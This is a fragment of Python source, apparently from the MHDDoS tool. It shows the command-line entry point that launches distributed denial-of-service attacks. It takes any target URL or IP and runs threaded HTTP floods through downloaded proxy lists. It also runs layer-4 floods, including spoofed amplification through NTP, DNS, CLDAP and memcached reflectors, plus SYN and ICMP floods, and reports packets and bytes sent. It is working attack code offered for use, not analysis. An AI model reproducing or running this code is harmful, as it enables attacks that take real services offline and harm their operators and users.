  1315. ", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
  1316. ", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
  1317. ", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
  1318. ", ".join(["TOOLS", "HELP", "STOP"]), 3,
  1319. len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
  1320. argv[0], argv[0], argv[0], argv[0]))
  1321. # noinspection PyBroadException
  1322. @staticmethod
  1323. def ts_srv(domain):
  1324. records = ['_ts3._udp.', '_tsdns._tcp.']
  1325. DnsResolver = resolver.Resolver()
  1326. DnsResolver.timeout = 1
  1327. DnsResolver.lifetime = 1
  1328. Info = {}
  1329. for rec in records:
  1330. try:
  1331. srv_records = resolver.resolve(rec + domain, 'SRV')
  1332. for srv in srv_records:
  1333. Info[rec] = str(srv.target).rstrip('.') + ':' + str(
  1334. srv.port)
  1335. except:
  1336. Info[rec] = 'Not found'
  1337. return Info
  1338. # noinspection PyUnreachableCode
  1339. @staticmethod
  1340. def info(domain):
  1341. with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
  1342. return s.json()
  1343. return {"success": False}
  1344. def handleProxyList(con, proxy_li, proxy_ty, url=None):
  1345. if proxy_ty not in {4, 5, 1, 0, 6}:
  1346. exit("Socks Type Not Found [4, 5, 1, 0, 6]")
  1347. if proxy_ty == 6:
  1348. proxy_ty = randchoice([4, 5, 1])
  1349. if not proxy_li.exists():
  1350. logger.warning(
  1351. f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
  1352. proxy_li.parent.mkdir(parents=True, exist_ok=True)
  1353. with proxy_li.open("w") as wr:
  1354. Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
  1355. logger.info(
  1356. f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
  1357. )
  1358. Proxies = ProxyChecker.checkAll(
  1359. Proxies, timeout=5, threads=threads,
  1360. url=url.human_repr() if url else "http://httpbin.org/get",
  1361. )
  1362. if not Proxies:
  1363. exit(
  1364. "Proxy Check failed, Your network may be the problem"
  1365. " | The target may not be available."
  1366. )
  1367. stringBuilder = ""
  1368. for proxy in Proxies:
  1369. stringBuilder += (proxy.__str__() + "\n")
  1370. wr.write(stringBuilder)
  1371. proxies = ProxyUtiles.readFromFile(proxy_li)
  1372. if proxies:
  1373. logger.info(f"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}")
  1374. else:
  1375. logger.info(
  1376. f"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}")
  1377. proxies = None
  1378. return proxies
  1379. if __name__ == '__main__':
  1380. with suppress(KeyboardInterrupt):
  1381. with suppress(IndexError):
  1382. one = argv[1].upper()
  1383. if one == "HELP":
  1384. raise IndexError()
  1385. if one == "TOOLS":
  1386. ToolsConsole.runConsole()
  1387. if one == "STOP":
  1388. ToolsConsole.stop()
  1389. method = one
  1390. host = None
  1391. port = None
  1392. url = None
  1393. event = Event()
  1394. event.clear()
  1395. target = None
  1396. urlraw = argv[2].strip()
  1397. if not urlraw.startswith("http"):
  1398. urlraw = "http://" + urlraw
  1399. if method not in Methods.ALL_METHODS:
  1400. exit("Method Not Found %s" %
  1401. ", ".join(Methods.ALL_METHODS))
  1402. if method in Methods.LAYER7_METHODS:
  1403. url = URL(urlraw)
  1404. host = url.host
  1405. if method != "TOR":
  1406. try:
  1407. host = gethostbyname(url.host)
  1408. except Exception as e:
  1409. exit('Cannot resolve hostname ', url.host, str(e))
  1410. threads = int(argv[4])
  1411. rpc = int(argv[6])
  1412. timer = int(argv[7])
  1413. proxy_ty = int(argv[3].strip())
  1414. proxy_li = Path(__dir__ / "files/proxies/" /
  1415. argv[5].strip())
  1416. useragent_li = Path(__dir__ / "files/useragent.txt")
  1417. referers_li = Path(__dir__ / "files/referers.txt")
  1418. bombardier_path = Path.home() / "go/bin/bombardier"
  1419. proxies: Any = set()
  1420. if method == "BOMB":
  1421. assert (
  1422. bombardier_path.exists()
  1423. or bombardier_path.with_suffix('.exe').exists()
  1424. ), (
  1425. "Install bombardier: "
  1426. "https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
  1427. )
  1428. if len(argv) == 9:
  1429. logger.setLevel("DEBUG")
  1430. if not useragent_li.exists():
  1431. exit("The Useragent file doesn't exist ")
  1432. if not referers_li.exists():
  1433. exit("The Referer file doesn't exist ")
  1434. uagents = set(a.strip()
  1435. for a in useragent_li.open("r+").readlines())
  1436. referers = set(a.strip()
  1437. for a in referers_li.open("r+").readlines())
  1438. if not uagents: exit("Empty Useragent File ")
  1439. if not referers: exit("Empty Referer File ")
  1440. if threads > 1000:
  1441. logger.warning("Thread is higher than 1000")
  1442. if rpc > 100:
  1443. logger.warning(
  1444. "RPC (Request Pre Connection) is higher than 100")
  1445. proxies = handleProxyList(con, proxy_li, proxy_ty, url)
  1446. for thread_id in range(threads):
  1447. HttpFlood(thread_id, url, host, method, rpc, event,
  1448. uagents, referers, proxies).start()
  1449. if method in Methods.LAYER4_METHODS:
  1450. target = URL(urlraw)
  1451. port = target.port
  1452. target = target.host
  1453. try:
  1454. target = gethostbyname(target)
  1455. except Exception as e:
  1456. exit('Cannot resolve hostname ', url.host, e)
  1457. if port > 65535 or port < 1:
  1458. exit("Invalid Port [Min: 1 / Max: 65535] ")
  1459. if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
  1460. not ToolsConsole.checkRawSocket():
  1461. exit("Cannot Create Raw Socket")
  1462. if method in Methods.LAYER4_AMP:
  1463. logger.warning("this method need spoofable servers please check")
  1464. logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
  1465. threads = int(argv[3])
  1466. timer = int(argv[4])
  1467. proxies = None
  1468. ref = None
  1469. if not port:
  1470. logger.warning("Port Not Selected, Set To Default: 80")
  1471. port = 80
  1472. if method in {"SYN", "ICMP"}:
  1473. __ip__ = __ip__
  1474. if len(argv) >= 6:
  1475. argfive = argv[5].strip()
  1476. if argfive:
  1477. refl_li = Path(__dir__ / "files" / argfive)
  1478. if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
  1479. if not refl_li.exists():
  1480. exit("The reflector file doesn't exist")
  1481. if len(argv) == 7:
  1482. logger.setLevel("DEBUG")
  1483. ref = set(a.strip()
  1484. for a in Tools.IP.findall(refl_li.open("r").read()))
  1485. if not ref: exit("Empty Reflector File ")
  1486. elif argfive.isdigit() and len(argv) >= 7:
  1487. if len(argv) == 8:
  1488. logger.setLevel("DEBUG")
  1489. proxy_ty = int(argfive)
  1490. proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
  1491. proxies = handleProxyList(con, proxy_li, proxy_ty)
  1492. if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
  1493. exit("this method cannot use for layer4 proxy")
  1494. else:
  1495. logger.setLevel("DEBUG")
  1496. protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
  1497. if method == "MCBOT":
  1498. with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
  1499. Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
  1500. Tools.send(s, Minecraft.data(b'\x00'))
  1501. protocolid = Tools.protocolRex.search(str(s.recv(1024)))
  1502. protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
  1503. if 47 < protocolid > 758:
  1504. protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
  1505. for _ in range(threads):
  1506. Layer4((target, port), ref, method, event,
  1507. proxies, protocolid).start()
  1508. logger.info(
  1509. f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
  1510. % (target or url.host, method, timer, threads))
  1511. event.set()
  1512. ts = time()
  1513. while time() < ts + timer:
  1514. logger.debug(
  1515. f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
  1516. (target or url.host,
  1517. port or (url.port or 80),
  1518. method,
  1519. Tools.humanformat(int(REQUESTS_SENT)),
  1520. Tools.humanbytes(int(BYTES_SEND)),
  1521. round((time() - ts) / timer * 100, 2)))
  1522. REQUESTS_SENT.set(0)
  1523. BYTES_SEND.set(0)
  1524. sleep(1)
  1525. event.clear()
  1526. exit()
  1527. ToolsConsole.usage()